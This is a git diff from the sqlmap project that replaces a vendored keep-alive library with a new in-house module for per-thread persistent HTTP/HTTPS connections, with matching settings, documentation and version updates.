997556b6170964a64474a2e053abe33cf2cf029fb1acec660d4651cc67a3c7e1 data/xml/payloads/time_blind.xml 40a4878669f318568097719d07dc906a19b8520bc742be3583321fc1e8176089 data/xml/payloads/union_query.xml ff368554d3320ffa50751e32c903aeec21221f351f3efa573a211081947f69e8 data/xml/queries.xml -e043101194219a2e4c8bc352f0d3a04b87e1c28b1bcd6c13f6d5d1c9e260b653 doc/ARCHITECTURE.md +127799739f9aeabca367027197f3c0240f141303bd7499928ccfa1443bf148c7 doc/ARCHITECTURE.md 0f5a9c84cb57809be8759f483c7d05f54847115e715521ac0ecf390c0aa68465 doc/AUTHORS ce20a4b452f24a97fde7ec9ed816feee12ac148e1fde5f1722772cc866b12740 doc/CHANGELOG.md 233fb10dff24a2436eb24496db7fadb46659da6745a0d53c744db701188041ef doc/THANKS.md -59697fb4f118a3197f5b3dc9057351797767c8bcc748e0286e3f7ad74ec3afb6 doc/THIRD-PARTY.md +b6fcc489c6eaca2a7d0d031bd04fe28e6790ffe4dfd4bdf055b6dc83b992dc86 doc/THIRD-PARTY.md 2af9b7a8c5f24de68f9b8b1bcf3a7f2b0e55fdb48b6545e1fc8b13f406ac97c2 doc/translations/README-ar-AR.md c25f7d7f0cc5e13db71994d2b34ada4965e06c87778f1d6c1a103063d25e2c89 doc/translations/README-bg-BG.md e85c82df1a312d93cd282520388c70ecb48bfe8692644fe8dbbf7d43244cda41 doc/translations/README-bn-BD.md @@ -182,14 +182,14 @@ c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data. 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/core/__init__.py 914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad lib/core/log.py 31690232f12d0590c8cbea7245ded86875f63c078da99673af4ab7451f0fffcb lib/core/optiondict.py -7357efadb3fc8305a1b2a0b1be1915099c5c87bdbe1e95fafcd008043a58039d lib/core/option.py +598f48639bcc7bb665a2adc538e5349999de620ea9ed5a821f89a823dc5fa093 lib/core/option.py ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch.py 49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec lib/core/profiling.py 03db48f02c3d07a047ddb8fe33a757b6238867352d8ddda2a83e4fec09a98d04 lib/core/readlineng.py 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -f79f96c5f073b663cc494c57b9641dc41e7ed13a28d5cec62bb9ca8904110d9c lib/core/settings.py +ab38bb42e8e2a7eda7380574f5083e0a65daa154fb345ef3385dbb2c128ed9df lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py @@ -218,6 +218,7 @@ cf019248253a5d7edb7bc474aa020b9e8625d73008a463c56ba2b539d7f2d8ec lib/request/dn 92c81cc31ff4a396723242058fb2152c9e9745f8412d01ea74480b048a53af6c lib/request/httpshandler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/request/__init__.py 7a0ac2522213e756348fd871a7af74cc963bdc82f9d7ade57be5de42b5bf7cab lib/request/inject.py +ab3afa064a84029ef55804bfcc02e49c7f8f47aad51448b5b3adfda1dd59073e lib/request/keepalive.py ada4d305d6ce441f79e52ec3f2fc23869ee2fa87c017723e8f3ed0dfa61cdab4 lib/request/methodrequest.py 43a7fdf64e7ba63c6b2d641c9f999a63c12ac23b43b64fedfce4e05b863de568 lib/request/pkihandler.py b90feeb16e89a844427df42373b0139eb6f6cf3c48ccec32b3e3a3f540c2451e lib/request/rangehandler.py @@ -675,8 +676,6 @@ e5c0b59577c30bb44c781d2f129580eaa003e46dcc4f307f08bc7f15e1555a2e thirdparty/ide edf23e7105539d700a1ae1bc52436e57e019b345a7d0227e4d85b6353ef535fa thirdparty/identywaf/__init__.py d846fdc47a11a58da9e463a948200f69265181f3dbc38148bfe4141fade10347 thirdparty/identywaf/LICENSE e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/__init__.py -879d96f2460bc6c79c0db46b5813080841c7403399292ce76fe1dc0a6ed353d8 thirdparty/keepalive/__init__.py -ae394bfae5204dfeffeccc15c356d9bf21708f9e48016681cfb8040ff8857998 thirdparty/keepalive/keepalive.py e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/magic/__init__.py 4d89a52f809c28ce1dc17bb0c00c775475b8ce01c2165942877596a6180a2fd8 thirdparty/magic/magic.py e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/multipart/__init__.py diff --git a/doc/ARCHITECTURE.md b/doc/ARCHITECTURE.md index 3e39e44217c..1753488258a 100644 --- a/doc/ARCHITECTURE.md +++ b/doc/ARCHITECTURE.md @@ -68,7 +68,7 @@ Identifiers in the codebase are camelCase. | `data/xml/` | the data-driven engine: `boundaries.xml`, `payloads/*.xml`, `queries.xml`, `errors.xml` | | `data/` (other) | wordlists/common tables/columns (`txt/`), UDFs (`udf/`), stored procs (`procs/`), shells (`shell/`) | | `tests/` | stdlib-unittest suite (offline); see section 11 | -| `thirdparty/` | vendored dependencies (six, bottle, keepalive, chardet, ...) - no pip at runtime | +| `thirdparty/` | vendored dependencies (six, bottle, chardet, ...) - no pip at runtime | | `extra/` | auxiliary tools (e.g. `vulnserver` used by `--vuln-test`) | --- @@ -179,7 +179,7 @@ Enumeration is DBMS-agnostic at the top and specialized underneath: `lib/request/connect.py` (`Connect.getPage`) is the single HTTP chokepoint. Around it: protocol handlers (`httpshandler`, `redirecthandler`, `chunkedhandler`, `rangehandler`, -keep-alive via `thirdparty/keepalive`), response processing (`basic.py`), and the +persistent connections via `lib/request/keepalive.py`), response processing (`basic.py`), and the comparison oracle (`comparison.py`). **Tamper scripts** (`tamper/`) mutate the payload just before sending to evade WAF/IPS. diff --git a/doc/THIRD-PARTY.md b/doc/THIRD-PARTY.md index d499d525d7d..f2c10e27255 100644 --- a/doc/THIRD-PARTY.md +++ b/doc/THIRD-PARTY.md @@ -46,8 +46,6 @@ SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * The `Chardet` library located under `thirdparty/chardet/`. Copyright (C) 2008, Mark Pilgrim. -* The `KeepAlive` library located under `thirdparty/keepalive/`. - Copyright (C) 2002-2003, Michael D. Stenner. * The `MultipartPost` library located under `thirdparty/multipart/`. Copyright (C) 2006, Will Holcomb. * The `icmpsh` tool located under `extra/icmpsh/`. diff --git a/lib/core/option.py b/lib/core/option.py index 0b817422ed2..571bae50df9 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -145,6 +145,8 @@ from lib.request.connect import Connect as Request from lib.request.dns import DNSServer from lib.request.httpshandler import HTTPSHandler +from lib.request.keepalive import HTTPKeepAliveHandler +from lib.request.keepalive import HTTPSKeepAliveHandler from lib.request.pkihandler import HTTPSPKIAuthHandler from lib.request.rangehandler import HTTPRangeHandler from lib.request.redirecthandler import SmartRedirectHandler @@ -154,7 +156,6 @@ from lib.utils.purge import purge from lib.utils.search import search from thirdparty import six -from thirdparty.keepalive import keepalive from thirdparty.multipart import multipartpost from thirdparty.six.moves import collections_abc as _collections from thirdparty.six.moves import http_client as _http_client @@ -166,7 +167,8 @@ authHandler = _urllib.request.BaseHandler() chunkedHandler = ChunkedHandler() httpsHandler = HTTPSHandler() -keepAliveHandler = keepalive.HTTPHandler() +keepAliveHandler = HTTPKeepAliveHandler() +keepAliveHandlerHTTPS = HTTPSKeepAliveHandler() proxyHandler = _urllib.request.ProxyHandler() redirectHandler = SmartRedirectHandler() rangeHandler = HTTPRangeHandler() @@ -1250,7 +1252,12 @@ def _setHTTPHandlers(): warnMsg += "with authentication methods" logger.warning(warnMsg) else: + # Note: persistent connections for both HTTP and HTTPS; the keep-alive + # HTTPS handler supersedes the regular one (reusing its SSL connection) + if httpsHandler in handlers: + handlers.remove(httpsHandler) handlers.append(keepAliveHandler) + handlers.append(keepAliveHandlerHTTPS) opener = _urllib.request.build_opener(*handlers) opener.addheaders = [] # Note: clearing default "User-Agent: Python-urllib/X.Y" diff --git a/lib/core/settings.py b/lib/core/settings.py index 451a0bc623d..06a808e6219 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.132" +VERSION = "1.10.6.133" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -833,6 +833,12 @@ # Maximum response total page size (trimmed if larger) MAX_CONNECTION_TOTAL_SIZE = 100 * 1024 * 1024 +# Maximum number of requests served over a single persistent (Keep-Alive) connection before it is recycled +KEEPALIVE_MAX_REQUESTS = 1000 + +# Maximum idle time (in seconds) a pooled persistent (Keep-Alive) connection is considered reusable before being recycled +KEEPALIVE_IDLE_TIMEOUT = 30 + # For preventing MemoryError exceptions (caused when using large sequences in difflib.SequenceMatcher) MAX_DIFFLIB_SEQUENCE_LENGTH = 10 * 1024 * 1024 diff --git a/lib/request/keepalive.py b/lib/request/keepalive.py new file mode 100644 index 00000000000..4e300cf2e0b --- /dev/null +++ b/lib/request/keepalive.py @@ -0,0 +1,266 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import socket +import threading +import time + +from lib.core.data import conf +from lib.core.settings import KEEPALIVE_IDLE_TIMEOUT +from lib.core.settings import KEEPALIVE_MAX_REQUESTS +from thirdparty.six.moves import http_client as _http_client +from thirdparty.six.moves import urllib as _urllib + +# Note: prior to Python 2.4 it was the HTTP handler's job to decide what to handle +# specially; since 2.4 that belongs to HTTPErrorProcessor, hence everything is passed up +HANDLE_ERRORS = 0 + +class _ConnectionPool(threading.local): + """ + Per-thread pool of reusable persistent connections. + + Keeping one connection per (scheme, host) and per worker thread is what + keeps Keep-Alive safe under '--threads': a socket is never shared between + threads, so concurrent requests can never interleave on the same wire (the + classic cause of response desynchronization). Synchronous reuse within a + single thread is fine because the previous response is always fully drained + before the next request is issued (see L{_KeepAliveResponseMixin}). + """ + + def __init__(self): + self.conns = {} # key -> [connection, request_count, last_used] + +class _KeepAliveHandler(object): + def __init__(self): + self._pool = _ConnectionPool() + + def _take(self, key): + """ + Returns a (still usable) pooled connection for L{key} or None + """ + + entry = self._pool.conns.pop(key, None) + + if entry is not None: + conn, count, last = entry + if (time.time() - last) <= KEEPALIVE_IDLE_TIMEOUT and count < KEEPALIVE_MAX_REQUESTS: + return conn, count + + # Too old or too heavily used; drop it + try: + conn.close() + except Exception: + pass + + return None, 0 + + def _give_back(self, key, conn, count): + self._pool.conns[key] = [conn, count, time.time()] + + def do_open(self, req): + # Note: 'selector'/'host' attributes on Python 3 (Request.get_host() was deprecated since + # 3.3 and removed in 3.12); the get_*() fallbacks are only reachable under Python 2 + host = req.host if hasattr(req, "host") else req.get_host() + + if not host: + raise _urllib.error.URLError("no host given") + + key = "%s://%s" % (self._scheme, host) + + conn, count = self._take(key) + reused = conn is not None + + try: + if reused: + # A pooled socket may have been closed by the server in the + # meantime; treat any failure (or a bogus HTTP/0.9 reply, which + # is httplib's tell-tale for a dead socket) as a stale connection + try: + self._send_request(conn, req) + response = conn.getresponse() + if response is None or getattr(response, "version", 0) == 9: + raise _http_client.HTTPException("stale connection") + except (socket.error, _http_client.HTTPException): + try: + conn.close() + except Exception: + pass + conn = None + reused = False + + if conn is None: + conn = self._get_connection(host) + count = 0 + self._send_request(conn, req) + response = conn.getresponse() + except (socket.error, _http_client.HTTPException) as ex: + raise _urllib.error.URLError(ex) + + count += 1 + + # Honor an explicit 'Connection: close' even when L{will_close} wasn't set + willClose = response.will_close + if not willClose: + try: + headers = getattr(response, "msg", None) or getattr(response, "headers", None) + value = headers.get("connection") or headers.get("Connection") if headers else None + if value and "close" in value.lower(): + willClose = True + except Exception: + pass + + keep = not willClose and count < KEEPALIVE_MAX_REQUESTS + + self._adapt(response, req.get_full_url()) + self._instrument(response, key, conn, count, keep) + + if response.status == 200 or not HANDLE_ERRORS: + return response + else: + return self.parent.error("http", req, response, response.status, response.reason, response.headers) + + def _adapt(self, response, url): + """ + Makes a raw httplib response indistinguishable from the object normally + returned by C{urlopen} (the surface the rest of sqlmap relies on) + """ + + headers = getattr(response, "headers", None) + if headers is None: + headers = response.msg # Python 2: msg holds the parsed headers + + response.url = url + response.code = response.status + response.headers = headers + + if not hasattr(response, "info"): + response.info = lambda headers=headers: headers + if not hasattr(response, "geturl"): + response.geturl = lambda url=url: url + if not hasattr(response, "getcode"): + response.getcode = lambda response=response: response.status + + # Note: must come last as on Python 3 'msg' initially aliases the headers + response.msg = response.reason + + def _instrument(self, response, key, conn, count, keep): + """ + Returns the connection to the pool once (and only once) its body has been + fully consumed; otherwise the socket is closed. A partially read response + (e.g. sqlmap hitting a size cap) leaves unread bytes on the wire, so such + a connection is never reused. + """ + + state = {"handled": False} + _read = response.read + _close = response.close + + def drained(): + checker = getattr(response, "isclosed", None) + if callable(checker): + try: + return checker() + except Exception: + return False + return getattr(response, "fp", None) is None + + def settle(): + # Once (and only once) the body is fully drained, decide the socket's fate + if state["handled"] or not drained(): + return + state["handled"] = True + if keep: + self._give_back(key, conn, count) + else: + try: + conn.close() + except Exception: + pass + + def read(*args, **kwargs): + data = _read(*args, **kwargs) + settle() + return data + + def close(): + # Note: on Python 2 httplib.read() calls close() itself upon EOF + _close() + settle() + if not state["handled"]: + # Closed before the body was fully consumed; unsafe to reuse + state["handled"] = True + try: + conn.close() + except Exception: + pass + + response.read = read + response.close = close + +class HTTPKeepAliveHandler(_KeepAliveHandler, _urllib.request.HTTPHandler): + _scheme = "http" + + def __init__(self): + _KeepAliveHandler.__init__(self) + + def http_open(self, req): + return self.do_open(req) + + def _get_connection(self, host): + return _http_client.HTTPConnection(host) + + def _send_request(self, conn, req): + _sendRequest(conn, req) + +class HTTPSKeepAliveHandler(_KeepAliveHandler, _urllib.request.HTTPSHandler): + _scheme = "https" + + def __init__(self): + _KeepAliveHandler.__init__(self) + + def https_open(self, req): + return self.do_open(req) + + def _get_connection(self, host): + # Note: reuses sqlmap's SSL-negotiating connection (lib/request/httpshandler.py) + from lib.request.httpshandler import HTTPSConnection + from lib.request.httpshandler import ssl + return HTTPSConnection(host) if ssl else _http_client.HTTPSConnection(host) + + def _send_request(self, conn, req): + _sendRequest(conn, req) + +def _sendRequest(conn, req): + """ + Issues L{req} on the (possibly reused) low-level connection L{conn} + """ + + data = getattr(req, "data", None) + method = req.get_method() or ("POST" if data is not None else "GET") + selector = req.selector if hasattr(req, "selector") else req.get_selector() + + try: + conn.putrequest(method, selector, skip_host=req.has_header("Host"), skip_accept_encoding=req.has_header("Accept-encoding")) + + if data is not None: + if not req.has_header("Content-type"): + conn.putheader("Content-type", "application/x-www-form-urlencoded") + if not req.has_header("Content-length"): + conn.putheader("Content-length", "%d" % len(data)) + except (socket.error, _http_client.HTTPException) as ex: + raise _urllib.error.URLError(ex) + + if not req.has_header("Connection"): + conn.putheader("Connection", "keep-alive") + + for key, value in req.header_items(): + conn.putheader(key, value) + + conn.endheaders() + + if data is not None: + conn.send(data) diff --git a/thirdparty/keepalive/__init__.py b/thirdparty/keepalive/__init__.py deleted file mode 100644 index 08a0be4d99a..00000000000 --- a/thirdparty/keepalive/__init__.py +++ /dev/null @@ -1,19 +0,0 @@ -#!/usr/bin/env python -# -# Copyright 2002-2003 Michael D. Stenner -# -# This program is free software: you can redistribute it and/or modify it -# under the terms of the GNU Lesser General Public License as published -# by the Free Software Foundation, either version 3 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU Lesser General Public License for more details. -# -# You should have received a copy of the GNU Lesser General Public License -# along with this program. If not, see . -# - -pass diff --git a/thirdparty/keepalive/keepalive.py b/thirdparty/keepalive/keepalive.py deleted file mode 100644 index f0d592b1863..00000000000 --- a/thirdparty/keepalive/keepalive.py +++ /dev/null @@ -1,671 +0,0 @@ -#!/usr/bin/env python -# -*- coding: utf-8 -*- - -# This library is free software; you can redistribute it and/or -# modify it under the terms of the GNU Lesser General Public -# License as published by the Free Software Foundation; either -# version 2.1 of the License, or (at your option) any later version. -# -# This library is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# Lesser General Public License for more details. -# -# You should have received a copy of the GNU Lesser General Public -# License along with this library; if not, write to the -# Free Software Foundation, Inc., -# 59 Temple Place, Suite 330, -# Boston, MA 02111-1307 USA - -# This file was part of urlgrabber, a high-level cross-protocol url-grabber -# Copyright 2002-2004 Michael D. Stenner, Ryan Tomayko -# Copyright 2015 Sergio Fernández - -"""An HTTP handler for urllib2 that supports HTTP 1.1 and keepalive. - ->>> import urllib2 ->>> from keepalive import HTTPHandler ->>> keepalive_handler = HTTPHandler() ->>> opener = _urllib.request.build_opener(keepalive_handler) ->>> _urllib.request.install_opener(opener) ->>> ->>> fo = _urllib.request.urlopen('http://www.python.org') - -If a connection to a given host is requested, and all of the existing -connections are still in use, another connection will be opened. If -the handler tries to use an existing connection but it fails in some -way, it will be closed and removed from the pool. - -To remove the handler, simply re-run build_opener with no arguments, and -install that opener. - -You can explicitly close connections by using the close_connection() -method of the returned file-like object (described below) or you can -use the handler methods: - - close_connection(host) - close_all() - open_connections() - -NOTE: using the close_connection and close_all methods of the handler -should be done with care when using multiple threads. - * there is nothing that prevents another thread from creating new - connections immediately after connections are closed - * no checks are done to prevent in-use connections from being closed - ->>> keepalive_handler.close_all() - -EXTRA ATTRIBUTES AND METHODS - - Upon a status of 200, the object returned has a few additional - attributes and methods, which should not be used if you want to - remain consistent with the normal urllib2-returned objects: - - close_connection() - close the connection to the host - readlines() - you know, readlines() - status - the return status (ie 404) - reason - english translation of status (ie 'File not found') - - If you want the best of both worlds, use this inside an - AttributeError-catching try: - - >>> try: status = fo.status - >>> except AttributeError: status = None - - Unfortunately, these are ONLY there if status == 200, so it's not - easy to distinguish between non-200 responses. The reason is that - urllib2 tries to do clever things with error codes 301, 302, 401, - and 407, and it wraps the object upon return. - - For python versions earlier than 2.4, you can avoid this fancy error - handling by setting the module-level global HANDLE_ERRORS to zero. - You see, prior to 2.4, it's the HTTP Handler's job to determine what - to handle specially, and what to just pass up. HANDLE_ERRORS == 0 - means "pass everything up". In python 2.4, however, this job no - longer belongs to the HTTP Handler and is now done by a NEW handler, - HTTPErrorProcessor. Here's the bottom line: - - python version < 2.4 - HANDLE_ERRORS == 1 (default) pass up 200, treat the rest as - errors - HANDLE_ERRORS == 0 pass everything up, error processing is - left to the calling code - python version >= 2.4 - HANDLE_ERRORS == 1 pass up 200, treat the rest as errors - HANDLE_ERRORS == 0 (default) pass everything up, let the - other handlers (specifically, - HTTPErrorProcessor) decide what to do - - In practice, setting the variable either way makes little difference - in python 2.4, so for the most consistent behavior across versions, - you probably just want to use the defaults, which will give you - exceptions on errors. - -""" - -from __future__ import print_function - -try: - from thirdparty.six.moves import http_client as _http_client - from thirdparty.six.moves import range as _range - from thirdparty.six.moves import urllib as _urllib -except ImportError: - from six.moves import http_client as _http_client - from six.moves import range as _range - from six.moves import urllib as _urllib - -import socket -import threading - -DEBUG = None - -import sys -if sys.version_info < (2, 4): HANDLE_ERRORS = 1 -else: HANDLE_ERRORS = 0 - -class ConnectionManager: - """ - The connection manager must be able to: - * keep track of all existing - """ - def __init__(self): - self._lock = threading.Lock() - self._hostmap = {} # map hosts to a list of connections - self._connmap = {} # map connections to host - self._readymap = {} # map connection to ready state - - def add(self, host, connection, ready): - self._lock.acquire() - try: - if host not in self._hostmap: self._hostmap[host] = [] - self._hostmap[host].append(connection) - self._connmap[connection] = host - self._readymap[connection] = ready - finally: - self._lock.release() - - def remove(self, connection): - self._lock.acquire() - try: - try: - host = self._connmap[connection] - except KeyError: - pass - else: - del self._connmap[connection] - del self._readymap[connection] - try: - self._hostmap[host].remove(connection) - except ValueError: - pass - if not self._hostmap[host]: del self._hostmap[host] - finally: - self._lock.release() - - def set_ready(self, connection, ready): - self._lock.acquire() - try: - if connection in self._readymap: self._readymap[connection] = ready - finally: - self._lock.release() - - def get_ready_conn(self, host): - conn = None - try: - self._lock.acquire() - if host in self._hostmap: - for c in self._hostmap[host]: - if self._readymap.get(c): - self._readymap[c] = 0 - conn = c - break - finally: - self._lock.release() - return conn - - def get_all(self, host=None): - self._lock.acquire() - try: - if host: - return list(self._hostmap.get(host, [])) - else: - return dict(self._hostmap) - finally: - self._lock.release() - -class KeepAliveHandler: - def __init__(self): - self._cm = ConnectionManager() - - #### Connection Management - def open_connections(self): - """return a list of connected hosts and the number of connections - to each. [('foo.com:80', 2), ('bar.org', 1)]""" - return [(host, len(li)) for (host, li) in self._cm.get_all().items()] - - def close_connection(self, host): - """close connection(s) to - host is the host:port spec, as in 'www.cnn.com:8080' as passed in. - no error occurs if there is no connection to that host.""" - for h in self._cm.get_all(host): - self._cm.remove(h) - h.close() - - def close_all(self): - """close all open connections""" - for host, conns in self._cm.get_all().items(): - for h in conns: - self._cm.remove(h) - h.close() - - def _request_closed(self, request, host, connection): - """tells us that this request is now closed and the the - connection is ready for another request""" - self._cm.set_ready(connection, 1) - - def _remove_connection(self, host, connection, close=0): - if close: connection.close() - self._cm.remove(connection) - - #### Transaction Execution - def do_open(self, req): - host = req.host - if not host: - raise _urllib.error.URLError('no host given') - - try: - h = self._cm.get_ready_conn(host) - while h: - r = self._reuse_connection(h, req, host) - - # if this response is non-None, then it worked and we're - # done. Break out, skipping the else block. - if r: break - - # connection is bad - possibly closed by server - # discard it and ask for the next free connection - h.close() - self._cm.remove(h) - h = self._cm.get_ready_conn(host) - else: - # no (working) free connections were found. Create a new one. - h = self._get_connection(host) - if DEBUG: DEBUG.info("creating new connection to %s (%d)", - host, id(h)) - self._start_transaction(h, req) - r = h.getresponse() - self._cm.add(host, h, 0) - except (socket.error, _http_client.HTTPException) as err: - raise _urllib.error.URLError(err) - - if DEBUG: DEBUG.info("STATUS: %s, %s", r.status, r.reason) - - if not r.will_close: - try: - headers = getattr(r, 'msg', None) - if headers: - c_head = headers.get("connection") - if c_head and "close" in c_head.lower(): - r.will_close = True - except Exception: - pass - - # if not a persistent connection, don't try to reuse it - if r.will_close: - if DEBUG: DEBUG.info('server will close connection, discarding') - self._cm.remove(h) - h.close() - - r._handler = self - r._host = host - r._url = req.get_full_url() - r._connection = h - r.code = r.status - r.headers = r.msg - - if r.status == 200 or not HANDLE_ERRORS: - return r - else: - return self.parent.error('http', req, r, - r.status, r.reason, r.headers) - - def _reuse_connection(self, h, req, host): - """start the transaction with a re-used connection - return a response object (r) upon success or None on failure. - This DOES not close or remove bad connections in cases where - it returns. However, if an unexpected exception occurs, it - will close and remove the connection before re-raising. - """ - try: - self._start_transaction(h, req) - r = h.getresponse() - # note: just because we got something back doesn't mean it - # worked. We'll check the version below, too. - except (socket.error, _http_client.HTTPException): - r = None - except Exception: - # adding this block just in case we've missed - # something we will still raise the exception, but - # lets try and close the connection and remove it - # first. We previously got into a nasty loop - # where an exception was uncaught, and so the - # connection stayed open. On the next try, the - # same exception was raised, etc. The tradeoff is - # that it's now possible this call will raise - # a DIFFERENT exception - if DEBUG: DEBUG.error("unexpected exception - closing " + \ - "connection to %s (%d)", host, id(h)) - self._cm.remove(h) - h.close() - raise - - if r is None or r.version == 9: - # httplib falls back to assuming HTTP 0.9 if it gets a - # bad header back. This is most likely to happen if - # the socket has been closed by the server since we - # last used the connection. - if DEBUG: DEBUG.info("failed to re-use connection to %s (%d)", - host, id(h)) - r = None - else: - if DEBUG: DEBUG.info("re-using connection to %s (%d)", host, id(h)) - - return r - - def _start_transaction(self, h, req): - try: - if req.data: - data = req.data - if hasattr(req, 'selector'): - h.putrequest(req.get_method() or 'POST', req.selector, skip_host=req.has_header("Host"), skip_accept_encoding=req.has_header("Accept-encoding")) - else: - h.putrequest(req.get_method() or 'POST', req.get_selector(), skip_host=req.has_header("Host"), skip_accept_encoding=req.has_header("Accept-encoding")) - if 'Content-type' not in req.headers: - h.putheader('Content-type', - 'application/x-www-form-urlencoded') - if 'Content-length' not in req.headers: - h.putheader('Content-length', '%d' % len(data)) - else: - if hasattr(req, 'selector'): - h.putrequest(req.get_method() or 'GET', req.selector, skip_host=req.has_header("Host"), skip_accept_encoding=req.has_header("Accept-encoding")) - else: - h.putrequest(req.get_method() or 'GET', req.get_selector(), skip_host=req.has_header("Host"), skip_accept_encoding=req.has_header("Accept-encoding")) - except (socket.error, _http_client.HTTPException) as err: - raise _urllib.error.URLError(err) - - if 'Connection' not in req.headers: - h.putheader('Connection', 'keep-alive') - - for args in self.parent.addheaders: - if args[0] not in req.headers: - h.putheader(*args) - for k, v in req.headers.items(): - h.putheader(k, v) - h.endheaders() - if req.data: - h.send(req.data) - - def _get_connection(self, host): - raise NotImplementedError() - -class HTTPHandler(KeepAliveHandler, _urllib.request.HTTPHandler): - def __init__(self): - KeepAliveHandler.__init__(self) - - def http_open(self, req): - return self.do_open(req) - - def _get_connection(self, host): - return HTTPConnection(host) - -class HTTPSHandler(KeepAliveHandler, _urllib.request.HTTPSHandler): - def __init__(self, ssl_factory=None): - KeepAliveHandler.__init__(self) - if not ssl_factory: - try: - import sslfactory - ssl_factory = sslfactory.get_factory() - except ImportError: - pass - self._ssl_factory = ssl_factory - - def https_open(self, req): - return self.do_open(req) - - def _get_connection(self, host): - if self._ssl_factory: - return self._ssl_factory.get_https_connection(host) - else: - return HTTPSConnection(host) - -class HTTPResponse(_http_client.HTTPResponse): - # we need to subclass HTTPResponse in order to - # 1) add readline() and readlines() methods - # 2) add close_connection() methods - # 3) add info() and geturl() methods - - # in order to add readline(), read must be modified to deal with a - # buffer. example: readline must read a buffer and then spit back - # one line at a time. The only real alternative is to read one - # BYTE at a time (ick). Once something has been read, it can't be - # put back (ok, maybe it can, but that's even uglier than this), - # so if you THEN do a normal read, you must first take stuff from - # the buffer. - - # the read method wraps the original to accomodate buffering, - # although read() never adds to the buffer. - # Both readline and readlines have been stolen with almost no - # modification from socket.py - - - def __init__(self, sock, debuglevel=0, strict=0, method=None): - if method: - _http_client.HTTPResponse.__init__(self, sock, debuglevel, method=method) - else: - _http_client.HTTPResponse.__init__(self, sock, debuglevel) - self.fileno = sock.fileno - self.code = None - self._method = method - self._rbuf = b"" - self._rbufsize = 8096 - self._handler = None # inserted by the handler later - self._host = None # (same) - self._url = None # (same) - self._connection = None # (same) - - _raw_read = _http_client.HTTPResponse.read - - def close(self): - if self.fp: - self.fp.close() - self.fp = None - if self._handler: - self._handler._request_closed(self, self._host, - self._connection) - - # Note: Patch for Python3 (otherwise, connections won't be reusable) - def _close_conn(self): - self.close() - - def close_connection(self): - self._handler._remove_connection(self._host, self._connection, close=1) - self.close() - - def info(self): - return self.headers - - def geturl(self): - return self._url - - def read(self, amt=None): - # the _rbuf test is only in this first if for speed. It's not - # logically necessary - if self._rbuf and not amt is None: - L = len(self._rbuf) - if amt > L: - amt -= L - else: - s = self._rbuf[:amt] - self._rbuf = self._rbuf[amt:] - return s - - s = self._rbuf + self._raw_read(amt) - self._rbuf = b"" - return s - - def readline(self, limit=-1): - data = b"" - i = self._rbuf.find(b'\n') - while i < 0 and not (0 < limit <= len(self._rbuf)): - new = self._raw_read(self._rbufsize) - if not new: break - i = new.find(b'\n') - if i >= 0: i = i + len(self._rbuf) - self._rbuf = self._rbuf + new - if i < 0: i = len(self._rbuf) - else: i = i+1 - if 0 <= limit < len(self._rbuf): i = limit - data, self._rbuf = self._rbuf[:i], self._rbuf[i:] - return data - - def readlines(self, sizehint = 0): - total = 0 - lines = [] - while 1: - line = self.readline() - if not line: break - lines.append(line) - total += len(line) - if sizehint and total >= sizehint: - break - return lines - - -class HTTPConnection(_http_client.HTTPConnection): - # use the modified response class - response_class = HTTPResponse - -class HTTPSConnection(_http_client.HTTPSConnection): - response_class = HTTPResponse - -######################################################################### -##### TEST FUNCTIONS -######################################################################### - -def error_handler(url): - global HANDLE_ERRORS - orig = HANDLE_ERRORS - keepalive_handler = HTTPHandler() - opener = _urllib.request.build_opener(keepalive_handler) - _urllib.request.install_opener(opener) - pos = {0: 'off', 1: 'on'} - for i in (0, 1): - print(" fancy error handling %s (HANDLE_ERRORS = %i)" % (pos[i], i)) - HANDLE_ERRORS = i - try: - fo = _urllib.request.urlopen(url) - foo = fo.read() - fo.close() - try: status, reason = fo.status, fo.reason - except AttributeError: status, reason = None, None - except IOError as e: - print(" EXCEPTION: %s" % e) - raise - else: - print(" status = %s, reason = %s" % (status, reason)) - HANDLE_ERRORS = orig - hosts = keepalive_handler.open_connections() - print("open connections:", hosts) - keepalive_handler.close_all() - -def continuity(url): - from hashlib 